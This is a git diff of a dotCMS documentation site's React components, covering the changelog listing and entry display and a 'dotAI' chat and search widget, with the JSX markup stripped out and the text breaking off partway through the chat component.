diff --git a/components/changelogs/ChangeLogEntry.js b/components/changelogs/ChangeLogEntry.js
index f31d1b2..63e7c03 100644
--- a/components/changelogs/ChangeLogEntry.js
+++ b/components/changelogs/ChangeLogEntry.js
@@ -1,82 +1,82 @@
-'use client'
-
-import Link from 'next/link'
-import MarkdownContent from '../MarkdownContent'
-import { extractDateForTables } from '../../util/formatDate'
-import { smoothScroll } from '@/util/smoothScroll'
-import { ExternalLink, Copy, Check } from 'lucide-react'
-import { useState } from "react";
-import { isMarkdown, isMarkdownStrict } from '@/util/isMarkdown'
-import DangerousHtmlComponent from '../DangerousHtmlComponent'
-
-const HEADER_HEIGHT = 80;
-
-export default function ChangeLogEntry({ item, index }) {
-
- // Replace Velocity template variables with actual values
- const processReleaseNotes = (notes, version) => {
- if (!notes) return notes;
-
- // Replace $!{version} with the actual version number
- return notes.replace(/\$!?\{version\}/g, version || '');
- };
-
- const releaseNotes = processReleaseNotes(item?.releaseNotes, item?.minor);
- const useMarkdown = isMarkdownStrict(releaseNotes,2)
-
- const [copied, setCopied] = useState(false);
-
- return (
-
- {item?.minor && (
-
- {item?.minor}
-
- #
-
-
- )}
-
-
-
- Available: {extractDateForTables(item?.releasedDate)}
-
-
- {item?.dockerImage ? (
-
- docker tag : {item.dockerImage.split(':')[1]}
- {
- navigator.clipboard.writeText(item.dockerImage);
- setCopied(true);
- setTimeout(() => setCopied(false), 2000);
- }}
- className="inline-flex items-center ml-1 p-1 hover:bg-gray-100 rounded-md"
- title="Copy docker image"
- >
- {copied ? (
-
- ) : (
-
- )}
-
-
- ) : (
-
- docker tag : N/A
-
- )}
-
-
-
-
- {useMarkdown ? : }
-
-
- )
-}
+'use client'
+
+import Link from 'next/link'
+import MarkdownContent from '../MarkdownContent'
+import { extractDateForTables } from '../../util/formatDate'
+import { smoothScroll } from '@/util/smoothScroll'
+import { ExternalLink, Copy, Check } from 'lucide-react'
+import { useState } from "react";
+import { isMarkdown, isMarkdownStrict } from '@/util/isMarkdown'
+import DangerousHtmlComponent from '../DangerousHtmlComponent'
+
+const HEADER_HEIGHT = 80;
+
+export default function ChangeLogEntry({ item, index }) {
+
+ // Replace Velocity template variables with actual values
+ const processReleaseNotes = (notes, version) => {
+ if (!notes) return notes;
+
+ // Replace $!{version} with the actual version number
+ return notes.replace(/\$!?\{version\}/g, version || '');
+ };
+
+ const releaseNotes = processReleaseNotes(item?.releaseNotes, item?.minor);
+ const useMarkdown = isMarkdownStrict(releaseNotes,2)
+
+ const [copied, setCopied] = useState(false);
+
+ return (
+
+ {item?.minor && (
+
+ {item?.minor}
+
+ #
+
+
+ )}
+
+
+
+ Available: {extractDateForTables(item?.releasedDate)}
+
+
+ {item?.dockerImage ? (
+
+ docker tag : {item.dockerImage.split(':')[1]}
+ {
+ navigator.clipboard.writeText(item.dockerImage);
+ setCopied(true);
+ setTimeout(() => setCopied(false), 2000);
+ }}
+ className="inline-flex items-center ml-1 p-1 hover:bg-gray-100 rounded-md"
+ title="Copy docker image"
+ >
+ {copied ? (
+
+ ) : (
+
+ )}
+
+
+ ) : (
+
+ docker tag : N/A
+
+ )}
+
+
+
+
+ {useMarkdown ? : }
+
+
+ )
+}
diff --git a/components/changelogs/ChangeLogList.js b/components/changelogs/ChangeLogList.js
index dfcdc65..2d32c2b 100644
--- a/components/changelogs/ChangeLogList.js
+++ b/components/changelogs/ChangeLogList.js
@@ -1,243 +1,243 @@
-"use client";
-
-import OnThisPage from "../navigation/OnThisPage";
-import ChangeLogEntry from "./ChangeLogEntry";
-import Link from "next/link";
-import { useSearchParams, useRouter } from "next/navigation";
-import { extractDateForTables } from '../../util/formatDate'
-import { useChangelog } from "@/hooks/useChangelog";
-import { ChevronLeft, ChevronRight, Loader2 } from "lucide-react";
-import Breadcrumbs from "../navigation/Breadcrumbs";
-import PaginationBar from "../PaginationBar";
-import Dropdown from "../shared/dropdown";
-import { useState, useEffect } from "react";
-
-export default function ChangeLogContainer({ sideNav, slug }) {
- //const router = useRouter(); // see removal of router in handleVersionChange
- const searchParams = useSearchParams();
- const paramLts = searchParams.get("lts");
-
- const [singleVersion, setSingleVersion] = useState(searchParams.get("v"));
-
- let isLts = paramLts && paramLts !== "false";
- let vLts = "";
- let currentPage = Number(searchParams.get("page")) || 1;
- if (currentPage < 1) {
- currentPage = 1;
- }
-
- const { data, loading, error, hasNextPage, hasPrevPage } = useChangelog(
- currentPage,
- paramLts,
- singleVersion,
- );
-
- // Handle hash scrolling after data is loaded
- useEffect(() => {
- if (!loading && window.location.hash) {
- const id = window.location.hash.substring(1);
- const element = document.getElementById(id);
- if (element) {
- const elementTop = element.getBoundingClientRect().top + window.scrollY;
- const targetScrollPos = elementTop - 80; // Match InitialScroll's HEADER_HEIGHT
- window.scrollTo({
- top: targetScrollPos,
- behavior: 'instant'
- });
- }
- }
- }, [loading]);
-
- const handleVersionChange = (isLtsVersion) => {
- const params = new URLSearchParams(searchParams);
- if(isLtsVersion !== "false"){
- params.set("lts", isLtsVersion);
- } else {
- params.delete("lts");
- }
- params.delete("v"); // remove this; this should be reached through links in other content only
- params.set("page", "1"); // Reset to first page when switching versions
- //router.push(`?${params.toString()}`, undefined, {shallow:false}); // switched to window.location.href to avoid shallow routing
- window.location.href = `?${params.toString()}`;
- };
-
- if (loading) {
- return (
-
-
-
- );
- }
-
- if (error) {
- return (
-
- Error loading changelogs: {error.message}
-
- );
- }
-
- if (!data?.changelogs || data.changelogs.length === 0) {
- return (
-
- No changelogs available
-
- );
- }
- if(data.ltsSingleton){
- isLts = true;
- }
- let thisMajorVersion;
- return (
-
- {/* Main Content Area */}
-
-
-
-
-
dotCMS Changelogs
-
- handleVersionChange("false")}
- className={`px-4 py-2 rounded-full text-sm font-medium transition-colors ${
- !isLts
- ? "bg-primary text-primary-foreground"
- : "bg-muted hover:bg-muted/80"
- }`}
- >
- Current
-
- handleVersionChange("true")}
- className={`px-4 py-2 rounded-full text-sm font-medium transition-colors ${
- isLts
- ? "bg-primary text-primary-foreground"
- : "bg-muted hover:bg-muted/80"
- }`}
- >
- LTS
-
- {
- isLts && (() => {
- const ltsMajorVersions = []; // list of LTS major versions
- const ltsEol = []; // list of boolean values indicating if the LTS version has reached EOL
- const pastEol = (eol) => { return new Date(eol) < new Date(); }
- for (const item of data.ltsMajors) { // iterate over the LTS major versions
- for (const vTag of item.tags) { // check tags
- if (/^\d/.test(vTag) && !ltsMajorVersions.includes(vTag)) { // if tag designates a major LTS version
- const eol = new Date(item.eolDate);
- ltsMajorVersions.push(vTag); // store tag
- ltsEol.push(pastEol(eol)) // store EOL status
- break;
- }
- }
- }
- vLts = paramLts === "true" ? ltsMajorVersions[0] : paramLts; // set the effective LTS version based on URL param
- if(isLts && !vLts){
- vLts = data.ltsSingleton;
- }
- const vLtsLabel = (() => {
- if(!ltsEol[ltsMajorVersions.indexOf(vLts)]){ // cross-reference EOL status with LTS version
- if(vLts === ltsMajorVersions[0]){
- return `${vLts} (Latest)`;
- } else {
- return vLts;
- }
- } else {
- return `${vLts} (Past EOL)`;
- }
- })();
- // just to convey the Designation/EOL dates for the entire page
- const vLtsIndex = ltsMajorVersions.indexOf(vLts);
- if (vLtsIndex !== -1 && data.ltsMajors && data.ltsMajors[vLtsIndex]) {
- thisMajorVersion = data.ltsMajors[vLtsIndex].parent ?
- data.ltsMajors[vLtsIndex].parent : data.ltsMajors[vLtsIndex];
- } else {
- thisMajorVersion = null;
- }
- return (
- handleVersionChange(item)}
- />
- );
- })()
- }
-
-
-
- {
- isLts && thisMajorVersion && (() => {
- return (
-
-
Designated: {extractDateForTables(thisMajorVersion.releasedDate)}
-
EOL: {extractDateForTables(thisMajorVersion.eolDate)}
-
- )
- })()
- }
-
- {data.changelogs.map((item, index) => (
-
- ))}
-
-
-
-
- {/* Right Sidebar - Hide on smaller screens */}
-
-
- );
-}
+"use client";
+
+import OnThisPage from "../navigation/OnThisPage";
+import ChangeLogEntry from "./ChangeLogEntry";
+import Link from "next/link";
+import { useSearchParams, useRouter } from "next/navigation";
+import { extractDateForTables } from '../../util/formatDate'
+import { useChangelog } from "@/hooks/useChangelog";
+import { ChevronLeft, ChevronRight, Loader2 } from "lucide-react";
+import Breadcrumbs from "../navigation/Breadcrumbs";
+import PaginationBar from "../PaginationBar";
+import Dropdown from "../shared/dropdown";
+import { useState, useEffect } from "react";
+
+export default function ChangeLogContainer({ sideNav, slug }) {
+ //const router = useRouter(); // see removal of router in handleVersionChange
+ const searchParams = useSearchParams();
+ const paramLts = searchParams.get("lts");
+
+ const [singleVersion, setSingleVersion] = useState(searchParams.get("v"));
+
+ let isLts = paramLts && paramLts !== "false";
+ let vLts = "";
+ let currentPage = Number(searchParams.get("page")) || 1;
+ if (currentPage < 1) {
+ currentPage = 1;
+ }
+
+ const { data, loading, error, hasNextPage, hasPrevPage } = useChangelog(
+ currentPage,
+ paramLts,
+ singleVersion,
+ );
+
+ // Handle hash scrolling after data is loaded
+ useEffect(() => {
+ if (!loading && window.location.hash) {
+ const id = window.location.hash.substring(1);
+ const element = document.getElementById(id);
+ if (element) {
+ const elementTop = element.getBoundingClientRect().top + window.scrollY;
+ const targetScrollPos = elementTop - 80; // Match InitialScroll's HEADER_HEIGHT
+ window.scrollTo({
+ top: targetScrollPos,
+ behavior: 'instant'
+ });
+ }
+ }
+ }, [loading]);
+
+ const handleVersionChange = (isLtsVersion) => {
+ const params = new URLSearchParams(searchParams);
+ if(isLtsVersion !== "false"){
+ params.set("lts", isLtsVersion);
+ } else {
+ params.delete("lts");
+ }
+ params.delete("v"); // remove this; this should be reached through links in other content only
+ params.set("page", "1"); // Reset to first page when switching versions
+ //router.push(`?${params.toString()}`, undefined, {shallow:false}); // switched to window.location.href to avoid shallow routing
+ window.location.href = `?${params.toString()}`;
+ };
+
+ if (loading) {
+ return (
+
+
+
+ );
+ }
+
+ if (error) {
+ return (
+
+ Error loading changelogs: {error.message}
+
+ );
+ }
+
+ if (!data?.changelogs || data.changelogs.length === 0) {
+ return (
+
+ No changelogs available
+
+ );
+ }
+ if(data.ltsSingleton){
+ isLts = true;
+ }
+ let thisMajorVersion;
+ return (
+
+ {/* Main Content Area */}
+
+
+
+
+
dotCMS Changelogs
+
+ handleVersionChange("false")}
+ className={`px-4 py-2 rounded-full text-sm font-medium transition-colors ${
+ !isLts
+ ? "bg-primary text-primary-foreground"
+ : "bg-muted hover:bg-muted/80"
+ }`}
+ >
+ Current
+
+ handleVersionChange("true")}
+ className={`px-4 py-2 rounded-full text-sm font-medium transition-colors ${
+ isLts
+ ? "bg-primary text-primary-foreground"
+ : "bg-muted hover:bg-muted/80"
+ }`}
+ >
+ LTS
+
+ {
+ isLts && (() => {
+ const ltsMajorVersions = []; // list of LTS major versions
+ const ltsEol = []; // list of boolean values indicating if the LTS version has reached EOL
+ const pastEol = (eol) => { return new Date(eol) < new Date(); }
+ for (const item of data.ltsMajors) { // iterate over the LTS major versions
+ for (const vTag of item.tags) { // check tags
+ if (/^\d/.test(vTag) && !ltsMajorVersions.includes(vTag)) { // if tag designates a major LTS version
+ const eol = new Date(item.eolDate);
+ ltsMajorVersions.push(vTag); // store tag
+ ltsEol.push(pastEol(eol)) // store EOL status
+ break;
+ }
+ }
+ }
+ vLts = paramLts === "true" ? ltsMajorVersions[0] : paramLts; // set the effective LTS version based on URL param
+ if(isLts && !vLts){
+ vLts = data.ltsSingleton;
+ }
+ const vLtsLabel = (() => {
+ if(!ltsEol[ltsMajorVersions.indexOf(vLts)]){ // cross-reference EOL status with LTS version
+ if(vLts === ltsMajorVersions[0]){
+ return `${vLts} (Latest)`;
+ } else {
+ return vLts;
+ }
+ } else {
+ return `${vLts} (Past EOL)`;
+ }
+ })();
+ // just to convey the Designation/EOL dates for the entire page
+ const vLtsIndex = ltsMajorVersions.indexOf(vLts);
+ if (vLtsIndex !== -1 && data.ltsMajors && data.ltsMajors[vLtsIndex]) {
+ thisMajorVersion = data.ltsMajors[vLtsIndex].parent ?
+ data.ltsMajors[vLtsIndex].parent : data.ltsMajors[vLtsIndex];
+ } else {
+ thisMajorVersion = null;
+ }
+ return (
+ handleVersionChange(item)}
+ />
+ );
+ })()
+ }
+
+
+
+ {
+ isLts && thisMajorVersion && (() => {
+ return (
+
+
Designated: {extractDateForTables(thisMajorVersion.releasedDate)}
+
EOL: {extractDateForTables(thisMajorVersion.eolDate)}
+
+ )
+ })()
+ }
+
+ {data.changelogs.map((item, index) => (
+
+ ))}
+
+
+
+
+ {/* Right Sidebar - Hide on smaller screens */}
+
+
+ );
+}
diff --git a/components/chat/ChatComponent.tsx b/components/chat/ChatComponent.tsx
index 26f00e9..67d5d40 100644
--- a/components/chat/ChatComponent.tsx
+++ b/components/chat/ChatComponent.tsx
@@ -1,795 +1,795 @@
-"use client";
-
-import { useState, useEffect, useRef } from "react";
-import { Button } from "@/components/ui/button";
-import {
- Loader2,
- Trash2,
- Bot,
- UserCircle,
- Search,
- MessageSquare,
- X,
-} from "lucide-react";
-import ReactMarkdown from "react-markdown";
-import { Prism as SyntaxHighlighter } from "react-syntax-highlighter";
-import { vscDarkPlus } from "react-syntax-highlighter/dist/cjs/styles/prism";
-import { cn } from "@/util/utils";
-import { CopyButton } from "@/components/chat/CopyButton";
-import { Config } from "@/util/config";
-import { Toggle } from "@/components/ui/toggle";
-import { SearchResult } from "@/components/chat/SearchResult";
-
-const truncateText = (text: string, maxLength: number) => {
- if (text.length <= maxLength) return text;
- return text.slice(0, maxLength) + "...";
-};
-
-interface Message {
- role: "user" | "assistant";
- content: string;
- timestamp: number;
- isSearchResult?: boolean;
- mode?: "ai" | "search"; // Track which mode the message was from
-}
-
-const RECENT_QUESTIONS_KEY = "recent-questions";
-const MODE_STORAGE_KEY = "dotai-last-mode";
-const API_KEY = Config.AuthToken;
-const API_ENDPOINT = Config.DotCMSHost;
-
-export function ChatComponent() {
- const [messages, setMessages] = useState([]);
- const [loading, setLoading] = useState(false);
- const [input, setInput] = useState("");
- const [currentStreamingMessage, setCurrentStreamingMessage] = useState("");
- const [mode, setMode] = useState<"ai" | "search">(() => {
- // Try to get the last mode from localStorage, default to "search"
- const savedMode = localStorage.getItem(MODE_STORAGE_KEY);
- return savedMode === "ai" || savedMode === "search" ? savedMode : "search";
- });
- const [recentQuestions, setRecentQuestions] = useState([]);
- const abortControllerRef = useRef(null);
-
- // Add refs for the messages container and form
- const messagesEndRef = useRef(null);
- const formRef = useRef(null);
- const inputRef = useRef(null);
- const lastUserMessageRef = useRef(null);
-
- // Focus input when modal opens
- useEffect(() => {
- inputRef.current?.focus();
- }, []);
-
- // Helper function to handle example question clicks
- const handleExampleClick = (question: string) => {
- setInput(question);
- setTimeout(() => {
- formRef.current?.requestSubmit();
- }, 100);
- };
-
- const PreDefinedQuestions = [
- "What are the system requirements for dotCMS?",
- "How do I create a new content type in dotCMS?",
- "How do I search content using rest api?",
- ];
-
- // Load recent questions from storage
- useEffect(() => {
- const savedRecentQuestions = localStorage.getItem(RECENT_QUESTIONS_KEY);
- if (savedRecentQuestions) {
- setRecentQuestions(JSON.parse(savedRecentQuestions));
- }
- }, []);
-
- // Scroll for new messages based on mode
- useEffect(() => {
- if (messages.length > 0) {
- // Don't auto-scroll for search results, as they can be many
- if (mode === "ai" || !messages[messages.length - 1].isSearchResult) {
- scrollToBottom();
- }
- }
- }, [messages, mode]);
-
- // Filter messages based on current mode
- const filteredMessages = messages.filter(
- (msg) => !msg.mode || msg.mode === mode
- );
-
- // Scroll to bottom function
- const scrollToBottom = () => {
- messagesEndRef.current?.scrollIntoView({ behavior: "smooth" });
- };
-
- // Scroll when streaming messages only
- useEffect(() => {
- if (currentStreamingMessage) {
- scrollToBottom();
- }
- }, [currentStreamingMessage]);
-
- async function sendMessage(e: React.FormEvent) {
- e.preventDefault();
- if (!input.trim()) return;
- const inputTrimmed = input.trim();
-
- // Add user message
- const userMessage: Message = {
- role: "user",
- content: inputTrimmed,
- timestamp: Date.now(),
- mode: "ai",
- };
- setMessages((prev) => [...prev, userMessage]);
- setLoading(true);
- setInput("");
-
- // Create new AbortController for this request
- abortControllerRef.current = new AbortController();
-
- try {
- // Format chat history for context - only include AI conversation messages
- const aiConversation = messages.filter(
- (msg) => !msg.isSearchResult && (!msg.mode || msg.mode === "ai")
- );
- const chatHistory = aiConversation
- .map(
- (msg) =>
- `${msg.role === "user" ? "Human" : "Assistant"}: ${msg.content}`
- )
- .join("\n");
- const fullPrompt = `${chatHistory}\nHuman: ${inputTrimmed}`;
-
- const response = await fetch(`${API_ENDPOINT}/api/v1/ai/completions`, {
- method: "POST",
- headers: {
- "Content-Type": "application/json",
- Authorization: `Bearer ${API_KEY}`,
- },
- body: JSON.stringify({
- indexName: "default",
- prompt: fullPrompt,
- model: Config.AIModel,
- temperature: "1",
- responseLengthTokens: "1500",
- operator: "cosine",
- threshold: ".25",
- stream: true,
- }),
- signal: abortControllerRef.current.signal,
- });
-
- if (!response.ok) throw new Error("Network response was not ok");
- var finalMessage = "";
- const reader = response.body?.getReader();
- if (!reader) throw new Error("No reader available");
-
- // Read the data
- while (true) {
- const { done, value } = await reader.read();
- if (done) break;
-
- // Convert the chunk to text
- const chunk = new TextDecoder().decode(value);
-
- // Split the chunk into individual SSE messages
- const messageChunks = chunk
- .split("\n")
- .filter((line) => line.startsWith("data: "))
- .map((line) => line.slice(6)); // Remove 'data: ' prefix
-
- if (chunk.includes("[DONE]")) {
- break;
- }
-
- for (const message of messageChunks) {
- try {
- const parsed = JSON.parse(message);
- if (
- parsed.choices &&
- parsed.choices[0].delta &&
- parsed.choices[0].delta.content
- ) {
- setCurrentStreamingMessage(
- (prev) => prev + parsed.choices[0].delta.content
- );
- finalMessage = finalMessage + parsed.choices[0].delta.content;
- }
- } catch (e) {
- console.error("Error parsing SSE message:", e);
- break;
- }
- }
- }
-
- // After streaming is complete, add the full message to the messages array
- setMessages((prev) => [
- ...prev,
- {
- role: "assistant",
- content: finalMessage,
- timestamp: Date.now(),
- mode: "ai",
- },
- ]);
-
- // Clear the streaming message after adding it
- setCurrentStreamingMessage("");
- } catch (error) {
- // Only show error if not aborted
- if (!(error instanceof DOMException && error.name === "AbortError")) {
- console.error("Error:", error);
- setMessages((prev) => [
- ...prev,
- {
- role: "assistant",
- content: "Sorry, there was an error processing your request.",
- timestamp: Date.now(),
- mode: "ai",
- },
- ]);
- }
- } finally {
- setLoading(false);
- abortControllerRef.current = null;
- }
- }
-
- const clearHistory = () => {
- // Abort any ongoing streaming response
- if (abortControllerRef.current) {
- abortControllerRef.current.abort();
- abortControllerRef.current = null;
- }
- setCurrentStreamingMessage("");
- setMessages([]);
- setInput("");
- };
-
- async function handleSearch(query: string) {
- setLoading(true);
- /*
- // Add user message for search
- setMessages(prev => [...prev, {
- role: "user",
- content: query,
- timestamp: Date.now(),
- mode: "search"
- }])
-
- */
-
- try {
- const response = await fetch(`${API_ENDPOINT}/api/v1/ai/search`, {
- method: "POST",
- headers: {
- "Content-Type": "application/json",
- Authorization: `Bearer ${API_KEY}`,
- },
- body: JSON.stringify({
- model: "gpt-4o",
- indexName: "default",
- prompt: query,
- operator: "cosine",
- threshold: ".25",
- searchLimit: 20,
- }),
- });
-
- if (!response.ok) throw new Error("Network response was not ok");
- const data = await response.json();
-
- // Check if there are results
- if (!data.dotCMSResults || data.dotCMSResults.length === 0) {
- // Add a "no results" message
- setMessages((prev) => [
- ...prev,
- {
- role: "assistant",
- content: "No search results found. Please try different keywords.",
- timestamp: Date.now(),
- mode: "search",
- },
- ]);
- return;
- }
-
- // Format search results - include all content types
- const searchResults = data.dotCMSResults
- .map((result: any) => {
- // Ensure we have matches
- if (!result.matches || !result.matches.length) {
- return null;
- }
-
- return {
- role: "assistant" as const,
- content: JSON.stringify({
- title: result.title || "Untitled Result",
- matches: result.matches || [],
- content: result.matches[0]?.extractedText
- ? truncateText(result.matches[0].extractedText, 200)
- : "No preview available",
- inode: result.inode,
- url:
- result.urlMap ||
- result.url ||
- result.slug ||
- result.urlTitle ||
- "",
- score: result.matches[0]?.distance
- ? parseFloat(result.matches[0].distance)
- : 0,
- contentType: result.contentType || "documentation",
- modDate: result.modDate,
- }),
- timestamp: Date.now(),
- isSearchResult: true,
- mode: "search" as const,
- };
- })
- .filter(Boolean); // Remove any null items
-
- // Add search results to messages
- setMessages((prev) => [...prev, ...searchResults]);
-
- // Scroll to the last user message after adding search results
- setTimeout(() => {
- lastUserMessageRef.current?.scrollIntoView({ behavior: "smooth" });
- }, 100);
- } catch (error) {
- console.error("Error:", error);
- setMessages((prev) => [
- ...prev,
- {
- role: "assistant",
- content: "Sorry, there was an error processing your search request.",
- timestamp: Date.now(),
- mode: "search",
- },
- ]);
- } finally {
- setLoading(false);
- }
- }
-
- // Store recent questions when a user asks something
- const storeRecentQuestion = (question: string) => {
- // Don't store empty questions
- if (!question.trim()) return;
-
- setRecentQuestions((prev) => {
- let updated: string[];
- // Only append if in a conversation (filteredMessages.length > 0 && mode === "ai")
- if (
- filteredMessages.length > 0 &&
- mode === "ai" &&
- prev.length > 0 &&
- !PreDefinedQuestions.includes(prev[0])
- ) {
- // Append the follow-up to the most recent question
- updated = [prev[0] + " " + question, ...prev.slice(1)].slice(0, 5);
- } else {
- // Check if the question is in the predefined list
- if (PreDefinedQuestions.includes(question)) {
- updated = prev;
- } else if (prev.includes(question)) {
- // If the same question exists, remove it from its current position
- // and add it to the top of the history
- updated = [question, ...prev.filter((q) => q !== question)].slice(
- 0,
- 5
- );
- } else {
- // Add new question to the top
- updated = [question, ...prev].slice(0, 5);
- }
- }
- localStorage.setItem(RECENT_QUESTIONS_KEY, JSON.stringify(updated));
- return updated;
- });
- };
-
- async function handleSubmit(e: React.FormEvent) {
- e.preventDefault();
-
- if (loading) return;
- if (!input.trim()) return;
-
- // Store the question
- storeRecentQuestion(input.trim());
-
- if (mode === "search") {
- setMessages([]);
- await handleSearch(input.trim());
- } else {
- await sendMessage(e);
- }
- }
-
- const handleModeChange = (pressed: boolean) => {
- // Abort any ongoing streaming response
- if (abortControllerRef.current) {
- abortControllerRef.current.abort();
- abortControllerRef.current = null;
- }
-
- //setCurrentStreamingMessage("")
- //setMessages([])
- const newMode = pressed ? "search" : "ai";
- setMode(newMode);
-
- if (newMode === "search" && input.trim() == "") {
- setInput(recentQuestions[0]);
- setTimeout(() => {
- //formRef.current?.requestSubmit();
- }, 100);
- }
- // Save the mode preference to localStorage
- localStorage.setItem(MODE_STORAGE_KEY, newMode);
-
- // Don't auto-submit when changing modes - let the user press Enter
- };
-
- const handleChatAboutResults = () => {
- handleModeChange(false);
- // Get the last user message (which should be the search query)
- const lastUserMessage = filteredMessages.findLast((m) => m.role === "user");
- if (lastUserMessage) {
- setInput(lastUserMessage.content);
- // Submit the form after a short delay to ensure mode switch is complete
- setTimeout(() => {
- formRef.current?.requestSubmit();
- }, 100);
- }
- };
-
- return (
-
-
-
-
- {filteredMessages.length === 0 && (
- <>
- {loading ? (
-
-
-
- Searching documentation...
-
-
- ) : (
-
-
-
- Welcome to dotAI Assistant
-
-
- I can answer your questions or help you find information about
- the dotCMS platform. Here are some previous questions:
-
-
- {(() => {
- // Always show up to 5 questions total
- const questionsToShow: string[] = [];
-
- // Add all recent questions first (up to 5)
- if (recentQuestions.length > 0) {
- recentQuestions.forEach((question) => {
- questionsToShow.push(question);
- });
- }
-
- // Fill remaining slots with predefined questions to reach a total of 5
- if (questionsToShow.length < 5) {
- // Filter out predefined questions that match recent ones to avoid duplicates
- const filteredPredefined = PreDefinedQuestions.filter(
- (q) => !questionsToShow.includes(q)
- );
-
- // Add unique predefined questions to fill the remaining slots (up to 5 total)
- filteredPredefined
- .slice(0, 5 - questionsToShow.length)
- .forEach((question) => {
- questionsToShow.push(question);
- });
- }
-
- // Render the questions
- return questionsToShow.map((question, index) => (
-
- handleExampleClick(question)}
- >
- {question}
-
- {recentQuestions.includes(question) &&
- !PreDefinedQuestions.includes(question) && (
- {
- e.stopPropagation();
- setRecentQuestions((prev) => {
- const updated = prev.filter(
- (q) => q !== question
- );
- localStorage.setItem(
- RECENT_QUESTIONS_KEY,
- JSON.stringify(updated)
- );
- return updated;
- });
- }}
- aria-label="Remove from history"
- >
-
-
- )}
-
- ));
- })()}
-
-
- )}
- >
- )}
- {filteredMessages
- .filter((m) => m.isSearchResult)
- .filter((m) => m.content && !JSON.parse(m.content).url.startsWith("/content."))
- .map((message, index) => (
-
-
-
- ))}
-
- {filteredMessages
- .filter((m) => !m.isSearchResult)
- .map((message, index) => (
-
- {message.role === "user" ? (
-
- ) : (
-
- )}
-
-
- {message.role === "user"
- ? "You"
- : message.isSearchResult
- ? "Search Result"
- : "dotAI Assistant"}
-
- {message.isSearchResult ? (
-
- ) : (
-
-
{
- const match = /language-(\w+)/.exec(className || "");
- const codeContent = String(children).replace(
- /\n$/,
- ""
- );
-
- return !inline && match ? (
-
-
-
- {codeContent}
-
-
- ) : (
-
- {children}
-
- );
- },
- }}
- >
- {message.content}
-
-
- )}
-
-
- ))}
- {mode === "search" &&
- filteredMessages.length > 0 &&
- filteredMessages.some((m) => m.isSearchResult) && (
-
-
-
- Chat about these results
-
-
- )}
- {currentStreamingMessage && mode === "ai" && (
-
-
-
-
dotAI Assistant
-
-
-
-
- {String(children).replace(/\n$/, "")}
-
-
- ) : (
-
- {children}
-
- );
- },
- }}
- >
- {currentStreamingMessage}
-
-
-
-
- )}
-
-
-
- );
-}
+"use client";
+
+import { useState, useEffect, useRef } from "react";
+import { Button } from "@/components/ui/button";
+import {
+ Loader2,
+ Trash2,
+ Bot,
+ UserCircle,
+ Search,
+ MessageSquare,
+ X,
+} from "lucide-react";
+import ReactMarkdown from "react-markdown";
+import { Prism as SyntaxHighlighter } from "react-syntax-highlighter";
+import { vscDarkPlus } from "react-syntax-highlighter/dist/cjs/styles/prism";
+import { cn } from "@/util/utils";
+import { CopyButton } from "@/components/chat/CopyButton";
+import { Config } from "@/util/config";
+import { Toggle } from "@/components/ui/toggle";
+import { SearchResult } from "@/components/chat/SearchResult";
+
+const truncateText = (text: string, maxLength: number) => {
+ if (text.length <= maxLength) return text;
+ return text.slice(0, maxLength) + "...";
+};
+
+interface Message {
+ role: "user" | "assistant";
+ content: string;
+ timestamp: number;
+ isSearchResult?: boolean;
+ mode?: "ai" | "search"; // Track which mode the message was from
+}
+
+const RECENT_QUESTIONS_KEY = "recent-questions";
+const MODE_STORAGE_KEY = "dotai-last-mode";
+const API_KEY = Config.AuthToken;
+const API_ENDPOINT = Config.DotCMSHost;
+
+export function ChatComponent() {
+ const [messages, setMessages] = useState([]);
+ const [loading, setLoading] = useState(false);
+ const [input, setInput] = useState("");
+ const [currentStreamingMessage, setCurrentStreamingMessage] = useState("");
+ const [mode, setMode] = useState<"ai" | "search">(() => {
+ // Try to get the last mode from localStorage, default to "search"
+ const savedMode = localStorage.getItem(MODE_STORAGE_KEY);
+ return savedMode === "ai" || savedMode === "search" ? savedMode : "search";
+ });
+ const [recentQuestions, setRecentQuestions] = useState([]);
+ const abortControllerRef = useRef(null);
+
+ // Add refs for the messages container and form
+ const messagesEndRef = useRef(null);
+ const formRef = useRef(null);
+ const inputRef = useRef(null);
+ const lastUserMessageRef = useRef(null);
+
+ // Focus input when modal opens
+ useEffect(() => {
+ inputRef.current?.focus();
+ }, []);
+
+ // Helper function to handle example question clicks
+ const handleExampleClick = (question: string) => {
+ setInput(question);
+ setTimeout(() => {
+ formRef.current?.requestSubmit();
+ }, 100);
+ };
+
+ const PreDefinedQuestions = [
+ "What are the system requirements for dotCMS?",
+ "How do I create a new content type in dotCMS?",
+ "How do I search content using rest api?",
+ ];
+
+ // Load recent questions from storage
+ useEffect(() => {
+ const savedRecentQuestions = localStorage.getItem(RECENT_QUESTIONS_KEY);
+ if (savedRecentQuestions) {
+ setRecentQuestions(JSON.parse(savedRecentQuestions));
+ }
+ }, []);
+
+ // Scroll for new messages based on mode
+ useEffect(() => {
+ if (messages.length > 0) {
+ // Don't auto-scroll for search results, as they can be many
+ if (mode === "ai" || !messages[messages.length - 1].isSearchResult) {
+ scrollToBottom();
+ }
+ }
+ }, [messages, mode]);
+
+ // Filter messages based on current mode
+ const filteredMessages = messages.filter(
+ (msg) => !msg.mode || msg.mode === mode
+ );
+
+ // Scroll to bottom function
+ const scrollToBottom = () => {
+ messagesEndRef.current?.scrollIntoView({ behavior: "smooth" });
+ };
+
+ // Scroll when streaming messages only
+ useEffect(() => {
+ if (currentStreamingMessage) {
+ scrollToBottom();
+ }
+ }, [currentStreamingMessage]);
+
+ async function sendMessage(e: React.FormEvent) {
+ e.preventDefault();
+ if (!input.trim()) return;
+ const inputTrimmed = input.trim();
+
+ // Add user message
+ const userMessage: Message = {
+ role: "user",
+ content: inputTrimmed,
+ timestamp: Date.now(),
+ mode: "ai",
+ };
+ setMessages((prev) => [...prev, userMessage]);
+ setLoading(true);
+ setInput("");
+
+ // Create new AbortController for this request
+ abortControllerRef.current = new AbortController();
+
+ try {
+ // Format chat history for context - only include AI conversation messages
+ const aiConversation = messages.filter(
+ (msg) => !msg.isSearchResult && (!msg.mode || msg.mode === "ai")
+ );
+ const chatHistory = aiConversation
+ .map(
+ (msg) =>
+ `${msg.role === "user" ? "Human" : "Assistant"}: ${msg.content}`
+ )
+ .join("\n");
+ const fullPrompt = `${chatHistory}\nHuman: ${inputTrimmed}`;
+
+ const response = await fetch(`${API_ENDPOINT}/api/v1/ai/completions`, {
+ method: "POST",
+ headers: {
+ "Content-Type": "application/json",
+ Authorization: `Bearer ${API_KEY}`,
+ },
+ body: JSON.stringify({
+ indexName: "default",
+ prompt: fullPrompt,
+ model: Config.AIModel,
+ temperature: "1",
+ responseLengthTokens: "1500",
+ operator: "cosine",
